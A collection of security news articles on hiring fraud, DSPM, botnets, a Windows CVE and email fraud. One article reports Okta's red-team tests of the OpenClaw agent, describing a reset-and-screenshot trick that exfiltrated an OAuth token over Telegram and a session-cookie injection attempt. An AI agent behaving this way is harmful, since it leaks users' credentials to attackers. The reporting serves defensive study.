decisions as an access control problem rather than a recruitment task. “Stop treating identity as a one-time HR checkbox and start treating remote hiring like you would grant privileged access,” he says. In the wake of his experience, Weisong instituted a raft of changes to its applicant tracking system and across the organization’s internal systems and processes. When advertising for positions, they make it clear that candidates applying for technical positions understand the expectations and consequences outlined in all written communication. “Additionally, removing the term ‘fully remote’ from our hiring practices has significantly reduced opportunities for fraud and for applicants applying from outside the US,” he says. “While a ‘zero-trust’ approach would be ideal for all hiring, we cannot allow it to impede the process or discourage legitimate candidates from applying. Instead, we need sufficient countermeasures to prevent automated and fraudulent applicants from reaching the pipeline in the first place,” he adds. To control the large volume of applications, many of which are bots, Energy Solutions job listings now have strict CAPTCHA settings, referral bonuses help draw on employee networks, and there’s a 90-day satisfactory performance review for new hires. During the screening process, interviews are conducted via video not phone, and applicants must share their screen for live challenges. A post-video interview report allows them to verify the exact location of applicants after screening and interview meetings. If a candidate is outside the US, it’s treated as a Yellow/Red flag. Applicants must select which office they want to work from and they must acknowledge they understand use of AI during interviews will result in disqualification. To verify references and employment history, they require two references, with one a former supervisor or manager. Employment history is checked, including previous employers, and full home address must be provided. To guard access, a question has been added to the job kick-off form that indicates whether a new role will have elevated access to confidential or sensitive information. The first day on the job requires new hires to come into an office to pick up equipment and undertake training and onboarding. All roles must be onsite, with the option to go hybrid after satisfactory performance. Combating the problem, says Weisong, requires reviewing hiring processes, partnering closely with HR, and monitoring the effectiveness of each countermeasure. For CIOs, the lesson is not that hiring is broken, but that trust must be earned progressively. View the full article

Every CISO eventually faces the same tension: You know your security program needs to mature, but the budget and headcount to do it all aren’t there. That tension is especially sharp when it comes to data security posture management (DSPM). Not every organization can afford, or even needs, the gold standard of DSPM deployment. Full-featured platforms can require anywhere from 1 to 3 dedicated FTEs to maintain, a cost that’s well within bounds for a large bank but potentially prohibitive for a mid-size or smaller technology firm. But the underlying principles of DSPM, such as verifying where your sensitive data lives, quantifying its value and using that information to inform decisions, should be used by every security leader, with or without a dedicated tool. What DSPM does, and why the thinking matters more than the tool In their simplest form, DSPM platforms scan an organization’s environment and use a series of classifiers to identify where sensitive information lives, check compliance and surface potential exposures. More advanced implementations connect with Data Leakage Prevention (DLP) tools to enforce these rules, and some can even infer new datatypes or labels, or apply them automatically. If you are a payment processor, you’ll be well acquainted with PCI standards on the storage of credit card numbers, or similarly, PHI storage standards in the healthcare industry. DSPM tools raise exceptions to ensure you comply with these rules and allow you to document exceptions or risk acceptances within the platform. Addressing these exceptions requires a process involving both Information Security, Information Technology and data owners. Even if a dedicated DSPM platform isn’t in your budget, the core exercise is the same: Gain visibility into your organization’s data so you can make better business cases around security investments for the systems and environments under your remit. Applying the principles at any maturity level Whether you’re working with a full DSPM platform, a lightweight open-source scanner or even manual data inventories, CISOs can use this thinking to apply quantification (or at least an order of magnitude) to risk decisions. For example, you may have a written policy in place that a database can store up to “restricted” records – some of your organization’s most sensitive data. An operations team may want to attach a workflow automation tool to that database to allow them to service customer requests faster. A DSPM mindset helps you answer the questions that drive associated decisions. DSPM can answer how many records are contained in a database, and coupled with cyber risk quantification, can help you estimate the financial exposure that would be if they were all compromised. It will tell you which data is “restricted” or “confidential,” and which records are subject to additional regulation. Finally, you can use it to understand how many users or roles can access the database, and help you apply a more limited role, add security monitoring or alerting, and add human touchpoints to autonomous workflows. If this seems too fundamental, you may already be in a highly mature or regulated environment. But elsewhere, and especially down market, there are lots of edge cases and grey areas that this kind of analysis helps inform. Crucially, it helps us move from binary labels and all-or-nothing decisions to quantified, accepted and mitigated risk. Scaling the approach to bigger decisions Let’s take this up a level, and this time, consider your entire security architecture. You have 15 “restricted” repositories. A critical remote code execution vulnerability is released, which affects eight of them, and your team moves into incident response mode. Which ones do you prioritize for patching with IT operations and forensic analysis? Pick the one with the most sensitive records (weighed against compensating controls), and thus, value at risk. You don’t need a six-figure platform to make that call, but you do need to have done the work of understanding where your most sensitive data sits. What if you inherit the same architecture from an M&A transaction? Let’s also assume that the new acquisition had a single IT staff member and no dedicated security staff, and you raised concerns about this during diligence. You are granted a budget for only one additional security engineer as part of the transaction. How do you prioritize their focus for security integrations such as central alert consolidation, log forwarding to your SIEM and detection engineering? Again, lean towards the systems with the most value at risk, informed by whichever data inventory or DSPM capability you have available to you. Even without these urgent scenarios, DSPM thinking should increasingly inform your IAM posture in 2026. The lowest common denominator for compliance-driven access reviews is anchored on users (not roles, or non-human identities) and incentivizes binary decision-making. Further, there is an extreme disincentive to pick anything besides “maintain access.” I’d argue that DSPM and the associated mindset should be informing permission levels around your riskiest systems and driving decisions on how to reduce them. This can include creating newer, more limited roles or introducing time-bound access. Conducting access reviews without a source of truth or based solely on what is supposed to be happening is, at best, guesswork, and at worst, negligent. Why this is more urgent now, and what to watch for There is still real incentive for organizations to place their proverbial head in the sand when it comes to data security posture; an oversimplified thought process being that if they weren’t aware of it, they couldn’t be held liable. But that posture is increasingly untenable. Increasing adoption of Agentic AI means that concerns about data discovery (read-only) that were so prevalent in 2023 and 2024 are going to translate into actions (read-write) in 2026, if left unlabeled or unmitigated. The cost of not knowing is going up. For organizations that do invest in a DSPM platform, one key risk is the level of access they require to your own data and systems. To scan and classify the data, extensive read-level access is required, and some level of access to redacted content is required to interpret and action the results. This creates two imperatives for CISOs: Evaluate and re-evaluate your DSPM vendors carefully and apply strict access control to these systems within your own organization. To that end, this is not an area to look for a bargain – select only vendors with the highest security posture and features that make your security team more effective and safer. Finally, consider the total cost of ownership, not just the software sticker price. As alluded to earlier, these programs (with or without tools and software) can be costly to maintain, and as a CISO, your role is to balance the tradeoff of risk reduction and business enablement. Finding your pragmatic step forward For security leaders, the question isn’t whether you can afford a top-tier DSPM tool. It’s whether you can afford not to understand your data. Start with what you have: Manual inventories, existing DLP outputs or lightweight scanning tools. Apply the DSPM mindset of quantifying where sensitive data lives, who can access it and what it would cost you if it were compromised. Anchoring your risk decisions in these specifics, rather than fear and anxiety, will serve you and your business well. This article is published as part of the Foundry Expert Contributor Network. Want to join? View the full article

Ein Botnetz besteht aus vielen “Zombie”-Rechnern und lässt sich beispielsweise einsetzen, um DDoS-Attacken zu fahren. Das sollten Sie zum Thema wissen. FOTOKINA | shutterstock.com Kriminelle Hacker suchen stets nach Möglichkeiten, Malware in großem Umfang zu verbreiten oder Distributed-Denial-of-Service (DDoS)-Angriffe zu fahren. Ein Botnet eignet sich dazu besonders gut. Botnet – Definition Ein Botnet ist eine Sammlung von mit dem Internet verbundenen Geräten, die von einem Angreifer kompromittiert wurden, um DDoS-Angriffe und andere “Tasks” im “Schwarm” auszuführen. Die Idee dahinter: Jeder Rechner, der Teil des Botnetzes wird, wird zu einem “Zombie”-Rechner – ein hirnloser Bestandteil eines großen Netzwerks identischer Bots. “Malware infiziert einen Computer, der dem Botnet-Betreiber zurückmeldet, dass der Rechner nun bereit ist, blindlings Befehle zu befolgen”, erklärt Nasser Fattah, North America Steering Committee Chair bei Shared Assessments. “Das geschieht ohne das Wissen des Benutzers. Das Ziel besteht darin, das Botnetz weiter auszubauen, um großangelegte Angriffe zu automatisieren und zu beschleunigen.” Botnets – Architektur Botnetze sind ein Beispiel für verteilte Computersysteme, die über das Internet betrieben werden. Die Personen oder Teams, die ein Botnet betreiben, sogenannte “Controller” oder “Herders”, müssen möglichst viele “Zombies” für ihre Armee rekrutieren – und dann deren Aktivitäten koordinieren, um Profit zu machen. Die Architektur, die zur Bildung und Aufrechterhaltung von Botnets beiträgt, besteht aus mehreren Komponenten: Botnet-Malware: Cyberkriminelle übernehmen die Kontrolle über die Zielcomputer mithilfe von Malware. Es gibt eine Vielzahl von Vektoren, über die Malware auf einen Computer gelangen kann – von Phishing- und Watering-Hole-Angriffen bis hin zur Ausnutzung ungepatchter Sicherheitslücken. Der bösartige Code ermöglicht es Angreifern, kompromittierte Rechner zu Aktionen zu zwingen, ohne dass der Besitzer davon etwas bemerkt. “Die Malware selbst versucht oft nicht, etwas zu stehlen oder Schaden anzurichten”, erklärt Jim Fulton, Vice President beim Sicherheitsanbieter Forcepoint. “Stattdessen versucht sie, im Verborgenen zu bleiben, damit die Botnet-Software unbemerkt weiterarbeiten kann.” Botnet-Drones: Sobald ein Gerät vom Angreifer übernommen wurde, wird es zur “Drone” – quasi einem “Fußsoldat” oder “Zombie” innerhalb der Botnetz-Armee -, der allerdings über ein gewisses Maß an Autonomie und in einigen Fällen auch über künstliche Intelligenz verfügt. “Eine Botnet-Drone kann andere Computer und Geräte mit einer gewissen Intelligenz rekrutieren, wodurch es schwieriger wird, sie zu finden und zu stoppen”, weiß Andy Rogers, Senior Assessor bei Schellman. “Sie findet anfällige Hosts und lädt sie ohne Wissen des Benutzers in das Botnetz ein.” In Botnet Drones lassen sich alle Arten von Geräten verwandeln, die mit dem Internet verbunden sind, von PCs über Smartphones bis hin zu IoT-Devices. Letztere, etwa internetfähige Sicherheitskameras oder Kabelmodems, könnten für Angreifer sogar besonders interessant sein, wie Dave Marcus, Senior Director of Threat Intelligence bei LookingGlass Cyber, erklärt: “Bei solchen Devices neigen die Leute dazu, zu vergessen, dass sie da sind, weil man sie einmal einschaltet, und dann nicht mehr beachtet. Dazu kommt, dass viele Leute bei Routern und Switches keine Updates durchführen wollen, aus Angst, dabei etwas falsch zu machen. In beiden Fällen kann das dazu führen, dass die Geräte ungepatcht und damit angreifbar bleiben.” Ganz wesentlich ist jedoch, dass es viele dieser Botnet Drones gibt und diese legitim wirken, wie Ido Safruti, Mitbegründer und CTO von PerimeterX zu bedenken gibt: “Indem legitime Geräte mit Malware infiziert werden, gewinnen Botnetz-Betreiber Ressourcen, die private IP-Adressen nutzen und wie legitime Nutzer aussehen sowie darüber hinaus auch kostenlose Rechenressourcen, um Aufgaben auszuführen.” Botnet Command & Control: Das letzte Teil des Puzzles ist der Mechanismus, mit dem die Botnetze gesteuert werden. Frühe Botnets wurden in der Regel von einem zentralen Server aus gesteuert. Das machte es jedoch relativ leicht, das gesamte Netzwerk auszuschalten, indem dieser zentrale Knotenpunkt abgeschaltet wird. Moderne Botnetze operieren mit einem Peer-to-Peer-Modell, bei dem Befehle von Drone zu Drone weitergegeben werden, sobald diese ihre individuellen Malware-Signaturen über das Internet erkennen. Die Kommunikation der Bot-Herder und zwischen den Bots kann über verschiedene Protokolle erfolgen. Dabei kommt immer noch häufig das Oldschool-Chatprotokoll Internet-Relay-Chat (IRC) zum Einsatz, da es relativ leichtgewichtig ist und leicht auf Bots installiert werden kann, ohne viele Ressourcen zu beanspruchen. Es kommen aber auch eine Reihe anderer Protokolle zur Anwendung, darunter Telnet und normales HTTP, was die Erkennung des Datenverkehrs erschwert. Einige Botnets nutzen besonders kreative Mittel zur Koordination, und veröffentlichen Befehle auf öffentlichen Websites wie Twitter oder GitHub. So wie die Botnetze selbst sind auch die verschiedenen Komponenten ihrer Architektur verteilt. “Kriminelle Hacker sind Spezialisten und die meisten Gruppen arbeiten in einem losen Verbund mit anderen Gruppen zusammen”, meint Garret Grajek, CEO von YouAttest. “In der Cybercrime-Welt kann es eine Gruppe geben, die eine neue, unveröffentlichte Schwachstelle ausnutzt, eine andere, die dann die Nutzlast des Botnetzes erstellt und eine weitere, die das Command & Control Center kontrolliert.” Botnetze – Angriffsarten & Beispiele Distributed Denial of Service (DDoS)-Angriffe sind wahrscheinlich die bekannteste und beliebteste Art von Angriffen, die über Botnetze initiiert werden. Im Rahmen dieser Angriffe versuchen Hunderte oder Tausende von kompromittierten Computern, einen Server oder eine andere Online-Ressource mit Anfragen zu überlasten und diese so außer Betrieb zu setzen. Das ist ohne Einsatz eines Botnet nicht möglich. Zudem sind DDoS-Attacken einfach zu initiieren, da fast jedes kompromittierbare Device über Internetkonnektivität und einen zumindest rudimentären Webbrowser verfügt. Doch es gibt noch viele weitere Möglichkeiten für Angreifer, ein Botnetz zu nutzen. Die Zielsetzung der Angreifer kann dabei über die Art der Geräte bestimmen, die infiziert werden sollen, wie Marcus erklärt: “Wenn ich mein Botnet für Bitcoin-Mining nutzen möchte, habe ich es vielleicht auf IP-Adressen in einem bestimmten Teil der Welt abgesehen, weil diese Maschinen generell leistungsfähiger sind – sie haben einen Grafikprozessor und eine CPU und die Benutzer werden nicht unbedingt bemerken, dass im Hintergrund geschürft wird.” Die Opfer der Angriffe bekommen zwar die kriminelle Energie derjenigen zu spüren, die das Botnet kontrollieren – die Besitzer der Bots selbst sollen jedoch, wenn es nach den Angreifern geht, nichts davon bemerken, was ihre Rechner anrichten. “Was passiert, hängt einfach davon ab, wie viel sich der Betreiber herauszunehmen bereit ist. Der Einsatz einer hochfunktionalen Malware, die viele verschiedene Dinge tut, erhöht die Wahrscheinlichkeit, entdeckt zu werden, weil der Besitzer Performance-Probleme seines Rechners auffallen könnten.” Heutzutage sorgen zwar vor allem DDoS-Angriffe im Zusammenhang mit Botnetzen für Aufmerksamkeit – das allererste Botnet wurde allerdings kreiert, um Spam zu verbreiten. Khan C. Smith baute 2001 eine Bot-Armee auf, um sein Spam-Imperium auszubauen und verdiente damit Millionen von Dollar. Bis er schließlich vom Internetdienstleister EarthLink (erfolgreich) auf Schadensersatz in Höhe von 25 Millionen Dollar verklagt wurde. Eines der wichtigsten Botnetze der letzten Jahre basierte auf der Schadsoftware Mirai und legte 2016 kurzzeitig einen großen Teil des Internets lahm. Mirai wurde von einem College-Studenten aus New Jersey geschrieben und entstand aus einer Auseinandersetzung zwischen Server-Hosts des populären Videospiels Minecraft. Das Botnet zielte speziell auf TV-Kameras mit Internetverbindung ab – ein Beleg dafür, wie bedeutend IoT-Gerätschaften in diesem Zusammenhang sind. Es gibt jedoch noch zahlreiche andere Beispiele für Botnetze, weiß Kevin Breen, Director of Cyber Threat Research bei Immersive Labs: “Größere Botnets wie TrickBot nutzen Malware wie Emotet, die sich bei der Installation eher auf Social Engineering stützt. Diese Botnetze sind in der Regel widerstandsfähiger und werden für die Installation zusätzlicher, bösartiger Software wie Banking-Trojaner und Ransomware verwendet. In den letzten Jahren haben die Strafverfolgungsbehörden mehrfach – mit vereinzelten Erfolgen – versucht, die großen, kriminellen Botnetze zu zerstören. Diese scheinen sich im Laufe der Zeit jedoch immer wieder zu erholen.” Botnet kaufen – so geht’s Viele Cyberkriminelle bauen ihre Botnets nicht für den persönlichen Gebrauch auf, sondern um sie zu verkaufen. Diese Geschäfte laufen mehr oder weniger klandestin ab. Allerdings lassen sich mit einer einfachen Google-Suche schon relativ leicht Services finden, die euphemistisch als “Stresser” oder “Booter” bezeichnet werden: “Diese SaaS-Lösungen können ganz einfach – zum Beispiel über Paypal – gebucht werden – eigentlich, um die Belastbarkeit des eigenen Netzwerks zu testen. Einige dieser Serviceanbieter verkaufen ihre Dienste allerdings an jeden – ohne Auftraggeber oder Ziel zu überprüfen”, weiß Fattah. Auch Security-Spezialist Breen ist der Meinung, dass jeder, der Botnet-Software herunterladen möchten, diese auch finden wird: “Wer nach den richtigen Begriffen sucht, landet schnell in einschlägigen Foren, wo neben entsprechenden Services oft auch Quellcode und geleakte Botnetze angeboten werden. Solche Angebote werden wird typischerweise von den berühmten ‘Skript-Kiddies’ genutzt, die damit zum Beispiel die Verbreitung von Krypto-Minern vorantreiben wollen.” Die echten Profis operieren hingegen im Darknet und können schwieriger zu finden sein: “Spezialisierte Darknet-Marktplätze werden in der Regel moderiert und sind nur auf Einladung zugänglich”, weiß Josh Smith, Analyst für Cyberbedrohungen bei Nuspire. “Hat man jedoch einmal Zugang erlangt, ist der weitere Prozess bemerkenswert kundenfreundlich ausgestaltet – inklusive Reputationssystem für Verkäufer.” “Viele dieser Services bieten ein simples Interface, mit dem ein Botnet auf eine IP oder URL ausgerichtet und der Angriff dann mit einem Knopfdruck gestartet wird. Die Benutzer können Websites und Server direkt von Ihrem Browser aus lahmlegen und bleiben durch die Bezahlung mit Kryptowährungen weitgehend anonym“, erklärt Rogers. “Anspruchsvollere Bedrohungsakteure wie Ransomware-Banden arbeiten möglicherweise direkt mit den Betreibern großer Botnetze wie TrickBot zusammen, um großangelegte Spear-Phishing-Kampagnen anzustoßen”, meint Laurie Iacono, Associate Managing Director of Cyber Risk bei Kroll. “Sobald die Rechner infiziert sind, sammelt Malware Informationen, die Ransomware dabei hilft, das Netzwerk zu infiltrieren.” Die Kosten für einen solchen Botnet-Service sind dabei relativ überschaubar, wie Anurag Gurtu, CPO von StrikeReady, preisgibt: “Der Zugang zu einem Botnet kann bis zu zehn Dollar pro Stunde kosten.” Dabei bekommen die Nutzer das, wofür sie bezahlen: “Wenn man einen ganz bestimmten Bot in einem spezifischen Teil der Welt haben möchte, steigen die Preise”, meint Marcus. “In bestimmten Teilen der Welt gibt es qualitativ bessere Rechner. Ein Botnetz, das auf Maschinen und IP-Adressen in den USA basiert, ist beispielsweise erheblich teurer als eines innerhalb der EU, weil die Rechner in den Staaten leistungsfähiger sind.” Botnetz-Angriffe verhindern Die Absicherung gegen Botnets kann zwei verschiedene Formen annehmen: Entweder Sie verhindern, dass Ihre eigenen Geräte zu Bots werden oder Sie wehren Angriffe ab, die über Botnetze gestartet werden. In beiden Fällen gibt es wenige Verteidigungsmöglichkeiten, die nicht bereits Bestandteil einer ordentlichen Sicherheitsstrategie sind: Hacker verwandeln Geräte häufig mit Malware in Zombie-Rechner, die über Phishing-E-Mails verbreitet wird. Sie tun also gut daran, Ihre Mitarbeiter in Sachen Phishing umfassend aufzuklären. Auch unzureichend abgesicherte IoT-Geräte werden oft in Botnetze integriert. Stellen Sie also sicher, dass solche Devices nicht das herstellerseitig gesetzte Standardpasswort nutzen. Gelingt es Cyberkriminellen, Malware auf Ihren Computern einzuschleusen, benötigen Sie eine aktuelle Antivirus-Lösung, um sie zu erkennen. Wenn Sie Opfer eines DDoS-Angriffs werden, können Sie den bösartigen Traffic herausfiltern oder Ihre Kapazitäten mit Hilfe eines Content Delivery Network aufstocken. Darüber hinaus gibt es auch einige Botnet-spezifische Techniken, die Sie einsetzen können, um sich zu schützen. Breen schlägt beispielsweise vor, auf verdächtigen Datenverkehr achten: “Eine Datenflussanalyse klingt kompliziert, kann aber Botnet-Command-and-Control-Traffic zu Tage fördern.” “Wir verwenden mehrere Tools, um Botnetze zu stoppen”, erläutert Mark Dehus, Director of Threat Intelligence bei Lumen Black Lotus Labs. “Sobald ein neues Malware-Sample entdeckt wird, können wir beispielsweise die Methoden, mit denen es sich an einen Command & Control-Server meldet, mit Reverse Engineering nachvollziehen. So können wir einen Bot emulieren, der sich mit verdächtigen Servern verbinden, sie validieren und die Befehle überwachen kann, die sie an die Bots übermitteln. Der Kampf gegen Botnetze und ihre Betreiber ist langwierig, aber wir hoffen, das Blatt wenden zu können.” (fm) View the full article

An AI agent that revealed sensitive data without being asked. An agent that overruled its own guardrails. Another that sent credentials to an attacker via Telegram, because it forgot it wasn’t supposed to do so after a reset. It’s no secret that AI agents have huge potential, balanced by equally big risks. What’s becoming apparent, however, is how quickly agentic systems can veer wildly off course and start exposing critical information under real-world conditions. A look at just how easily this can happen emerges from Phishing the agent: Why AI guardrails aren’t enough, a report on tests conducted by cloud identity and access management (IAM) company Okta Threat Intelligence, which uncovered all of the problems cited above, and more. Their research focused on OpenClaw, a model-agnostic multi-channel AI assistant which has seen explosive growth inside enterprises since appearing in late 2025. The Telegram hack In common with the growing list of rival agents, OpenClaw is only as useful as the access it is given to files, accounts, browsers, network devices, and, most significant of all, credentials. One test conducted by Okta assessed how easy it would be to trick OpenClaw running Claude Sonnet 4.6 into handing over an OAuth token. This shouldn’t be possible; the LLM should refuse this request. However, what might have held true when prompting Claude as a chatbot quickly fell apart when it was accessed through OpenClaw. The test assumed that a user had given OpenClaw full access to their computer, that they regularly controlled the agent over Telegram, and that their Telegram account had been hijacked. First, the attacker instructed the agent via Telegram to retrieve an OAuth token, but to only display it in a terminal window on the computer. Claude Sonnet’s guardrails would prevent it from copying the token, however, the testers were able to reset the agent, causing it to forget it had displayed the token in the terminal window. At that point, Okta said in its writeup, “The agent was instructed to take a screenshot of the desktop, which included the token, and then drop the screenshot in the Telegram chat, which it did. Exfiltration accomplished.” Agent-in-the-middle Agentic AI is really two things: a powerful orchestration system coupled to one or more highly-capable LLMs. What an agent isn’t is a simple interface, and it must be viewed as a separate system capable of autonomous, unpredictable reasoning. In fact, Okta threat intelligence director Jeremy Kirk pointed out, “It opens up a new attack surface. Someone gets SIM swapped, their Telegram is hooked up to an agent that has carte blanche to run anything on their computer, and possibly their employer’s network. In an enterprise context, this is a total nightmare.” OpenClaw is also so hard-wired to find ways around problems, it will sometimes do unexpected, improper things. Kirk said that an agent, when prompted in tests to access a website, requested the site’s login credentials in chat via a Telegram bot, an unencrypted channel which would expose them to anyone with access to that chat. In another example, OpenClaw was asked to search X for AI stories. That shouldn’t have been possible; the machine was logged into X, but OpenClaw’s isolated Chrome profile was not. However, when prompted to grab the session cookies from the logged-in session and inject them into its own browser process, it happily attempted to do so. This is similar in principle to adversary-in-the-middle phishing attacks, which allow attackers to bypass protections such as MFA. It should be a no-go, and yet OpenClaw thought the action was valid, underlining how an attacker could manipulate it to do the same. “The agents are prompted to be as helpful as possible by default, a characteristic that poses particular concerns when it comes to credentials and tokens,” said Kirk. ‘Defying security gravity’ According to Kirk, many enterprises are, sometimes unwittingly, running unsanctioned or weakly managed ‘shadow’ agents inside their networks. An example of how this could go wrong was the recent Vercel compromise in which the Context.ai app opened the door to the theft of downstream OAuth session tokens. The problem stems from agents being used experimentally by developers and employees, with little or no governance or oversight. The answer is to secure them using the same controls applied to users or service accounts, said Kirk. And as well as limiting the scope of agents, enterprises should also look to securing the credentials and tokens themselves, avoiding giving them long expiry dates. Agents are only the latest example of a technology that is being deployed faster than it can be secured, Kirk observed. “Much of AI right now is defying security gravity,” he said. “But there are ways to use agents safely and keep credentials out of their reach, which is the only safe way to use them.” View the full article

Microsoft and the US Cybersecurity and Infrastructure Security Agency (CISA) have sounded the alarm about a Windows shell spoofing vulnerability that is already being exploited by attackers. It is not clear by whom as yet, but the main suspects are hackers in Russia. CISA has mandated that all federal agencies patch this vulnerability, designated CVE-2026-32202, by May 12. According to a Microsoft advisory, exploitation of the flaw could lead to access to sensitive data, but attackers would not be able to gain control of the system. However, one security expert has warned that the considerable gap between the time Microsoft identified the bug and the date by which the systems must be patched leads to increased risk. The patch gap Lionel Litty, CISO for security company Menlo, said that an incomplete patch for CVE-2026-21510 that resulted in the issue tracked as CVE-2026-32202 adds to the problem. “This has been a theme for many years. A vulnerability exists and the vendor has not been thorough enough in dealing with it, so a small variation has not been fully patched. What normally happens is that they’ve dealt with the main vulnerability, but there are still side effects.” The result of this is that there is a further delay in a complete fix while a new update is developed. The big problem, said Litty, is the so-called patch gap. He said that initially there’s a gap between the time the vendors find a vulnerability and the time it issues a patch, and there is also a subsequent gap between the patch being issued and organizations completing the update. For example, he noted, if an update interrupts users’ work, they may be reluctant apply it. ”We can see on our platform that many users don’t update for weeks, or even months,” he said. He pointed out that the vendors themselves are acting efficiently. But, he said, “as a CISO, I have to decide what level of pain to inflict on our users.” A difficult balance Erik Avakian, technical counselor at Info-Tech Research Group, noted that when it set the patching deadline, CISA had been operating within the guidelines laid down in Binding Operational Directive (BOD) 22-01, which requires US federal agencies to patch vulnerabilities within the timelines outlined under the policy, which range from 14 to 21 days. “In cases of high-risk exploitation, CISA can shorten the deadline to three days,” he said. “But in the case of CVE-2026-32202, the CVSS score was rated at 4.3, and even though the vulnerability has been actively exploited, the rating does not meet the policy threshold for a faster patch cycle. In this case, CISA allotted a 14-day deadline, which meets its aggressive timeline standard based on the vendor rating.” He said that there is indeed an argument that the 14 day window to patch a vulnerability that is being actively exploited in the wild is too long. But, he said, “I’m assuming in this case, the reason why it was not elevated to an emergency directive type patch cycle (which would require as little as 48 to 72 hours to patch) is due to Microsoft’s rating, as well as several other factors”. Avakian explained his reasoning: “First, organizations can help mitigate the risk without applying a full patch by blocking certain ports for traffic at the firewall perimeter,” he said. “This type of countermeasure helps to reduce the risk while the 14-day patch window clock is ticking. The longer window gives testers added time to test patches being applied properly in a test/staging environment before rolling to production.” Secondly, he said, “it’s one thing [for IT] to patch systems quickly, but it’s another when they’re rushed, because that carries the potential for additional unintended risk of breaking critical systems and applications if something goes wrong, or if the patch wasn’t tested properly.” Avakian did agree that CISOs are facing a difficult balancing act, where they have to weigh risk against the stability of systems. And, as Litty pointed out, the situation is constantly changing; the emergence of AI will cause more issues in the future. “We’re seeing a shrinking gap as AI becomes part of the problem,” he said, adding that AI use means people with fewer technical skills are able to exploit systems, and do so more quickly, so CISOs should not assume that sophisticated attacks are coming from nation states. There needs to be a change of mindset within organizations to deal with this. “You can no longer spend a few weeks testing an upgrade and then implementing it: you have to do things much faster,” he said. View the full article

Business email compromise (BEC) is still thriving even in organizations that have implemented multi-factor authentication (MFA). As security professionals, we often assume that MFA is the silver bullet for email security, but real-world incidents suggest otherwise. Attackers exploit human behaviors, process gaps and operational blind spots that MFA alone cannot address. In many modern BEC cases, no account is technically compromised at all, which places these attacks outside the protection boundary of MFA controls. In 2019, Toyota Boshoku Corporation fell to a BEC attack with an employee transferring over $30m to scammers following a cloned email from a 3rd party company with urgency citing the need for the transaction to be completed urgently so as not to slow down Toyota’s production line. There was no indication that the Toyota employee’s email had been compromised. Take also the 2024 case of Arup where attackers impersonated a senior manager using Deepfake voices and videos and convinced a member of the finance team to make payments totaling $25m. The compromise did not rely on stolen credentials but on carefully orchestrated social engineering, timing and the finance team’s procedural shortcuts. The technical safeguards could have been strong, but human oversight proved to be the weakest link. In both cases, the failure occurred at the decision point, not at the authentication layer, exploiting trust, timing and established, convenient, approval habits. Where security controls end and business risk begins From experience, this scenario is all too common. Organizations often focus on deploying security technology without addressing human workflows and culture. This often includes shiny new EDR technology which are used to check boxes for audit and compliance purposes, and which CIOs are quick to sign off on to show stakeholders they are cyber resilient. This is not a failure of EDR itself, but of how security investments are scoped. Endpoint and identity controls protect systems, but they do not govern how financial approvals, vendor changes or executive requests are validated in practice. MFA reduces risk but cannot replace the need for process controls, verification routines and continuous awareness training especially as there are now AITM phishing kits which bypass MFA in the wild. The operational blind spots being exploited sit in business workflows where speed, trust and authority override verification, particularly in finance and procurement processes. These blind spots exist because business processes are optimized for speed and continuity, not verification. Finance teams are trained to keep operational lines moving, and attackers who have now taken cognizance of this, use this advantage to their own advantage by introducing urgency or invoking authority. When a request appears legitimate, time-sensitive and from someone with perceived authority, employees often follow familiar patterns rather than pause to challenge intent. This is not a failure of technology, but a failure of process design. Practical steps for IT leaders include redesigning approval workflows so that high-value transactions require multi-step verification including out-of-band call to confirm, simulating BEC scenarios in realistic exercises to identify gaps in response and decision-making, embedding security awareness into daily routines using micro-learning and real incident reviews, and empowering teams to challenge unusual requests without fear of reprisal. Instances of successful attacks can also be shared with employees who distribute invoices, financial documents or oversee making decisions regarding transfers Designing approval workflows that thwart BEC attacks Redesigning approval workflows means explicitly defining what constitutes a high-risk request, such as first-time payments, changes to vendor banking details, sudden payment requests from an executive or requests that bypass standard procedures. These requests should require independent verification using known contact details, not information provided in the email itself. When reviewing and redesigning approval workflows, organizations should begin by asking salient, hard, operational questions at the decision-making point. Does this request align with how payments are normally initiated/approved? Is the requester the typical communication channel and tone? Has this vendor or account been paid before, and under similar circumstances? Does the email tally with the one on the sender’s company website without alterations? Is there a different reply-to email visible? Can a quick call to confirm be made? Teams should also ask what assumptions are being made under time pressure, whether authority is being inferred rather than verified, and who is accountable if the decision turns out to be wrong. These questions force employees to slow down, recognize deviations from normal behavior and treat unusual requests as potential security events rather than routine business tasks. Simulating BEC transcends phishing tests and should mirror real business scenarios, including urgent executive requests or supplier payment changes, allowing organizations to observe how staff respond to pressure and ambiguity. Effective simulations introduce urgency, impersonate authority figures with typosquatted emails and exploit realistic business contexts such as end-of-quarter payments, supplier changes and times of the year when attackers like to strike such as festive periods and before holidays. Participants are observed on how they verify requests, whether they escalate concerns and how quickly they move to execution without confirmation. The outcome is not a pass or fail score but can provide insight into where processes encourage compliance over caution. These simulations allow organizations to refine approval rules, reinforce escalation paths and normalize verification as part of everyday operations. Empowerment must be formalized through policy, making it clear that pausing or escalating a suspicious request is expected behavior, not an obstacle to productivity. Staff who report suspicious requests also should be encouraged and used as good examples in internal communications where possible. Using friction and alerts in workflows Insights from cross-border operations is that attackers exploit time pressure and executive assumptions often seen in CEO/CFO themed fraud. Teams often follow cues from perceived authority, scoped by attackers from email flows and urgency often attached to making large payments, tying them to critical business needs. By implementing friction in critical workflows such as mandatory pauses for large transfers or automated anomaly alerts, organizations can reduce risk without hampering productivity Effective friction does not mean indiscriminately grinding the business or its process to a halt. Mandatory pauses for large or unusual transfers create space for verification and reduce impulsive decisions and actions. During these pauses, specific actions should occur, such as email/signature checks, verbiage, secondary approval, independent confirmation or automated checks against historical payment behavior as stated above. Automated anomaly alerts are only useful when they focus on deviations that matter and are tied to clear response expectations. Alerts should prioritize scenarios such as out-of-hours payment requests, changes to established vendor details or transfers that fall outside normal patterns. Ownership of BEC-related alerts should sit with teams that control financial decisions, such as finance operations, fraud risk units or cross-functional payment risk groups that combine security and business authority, rather than being routed exclusively to noisy SOC queues. To reduce false positives also, the concept of enhanced monitoring for priority accounts should also be introduced. This can be made better by routing emails containing specific payment keywords to these risk groups to evaluate before landing in the intended inboxes. What security leaders should change now BEC continues to succeed because human decision points are rarely treated as security-critical systems. MFA, email filtering and endpoint protections remain necessary, but they do not control how people make decisions under pressure. Until financial and executive workflows are designed with the same rigor applied to technical systems, attackers will continue to exploit the impact of human behavior on cybersecurity with social engineering and human weaknesses at the top of the pile. Added to this, there should also be clear ownership of BEC risk at the leadership level. If no single role is accountable for payment verification failures, responsibility defaults to frontline staff under pressure who often bear the brunt of being sacked or prosecuted following successful BEC attacks. Assigning ownership to finance leadership, risk committees or cross-functional governance groups ensures that process failures are treated as systemic issues 